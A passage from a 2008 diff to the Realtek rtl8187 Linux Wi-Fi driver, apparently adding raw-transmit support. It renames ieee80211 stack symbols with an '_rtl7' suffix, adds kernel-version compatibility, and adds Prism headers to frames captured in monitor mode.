net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-01-30 17:38:11.000000000 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-01-30 17:38:11.000000000 +0100 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) 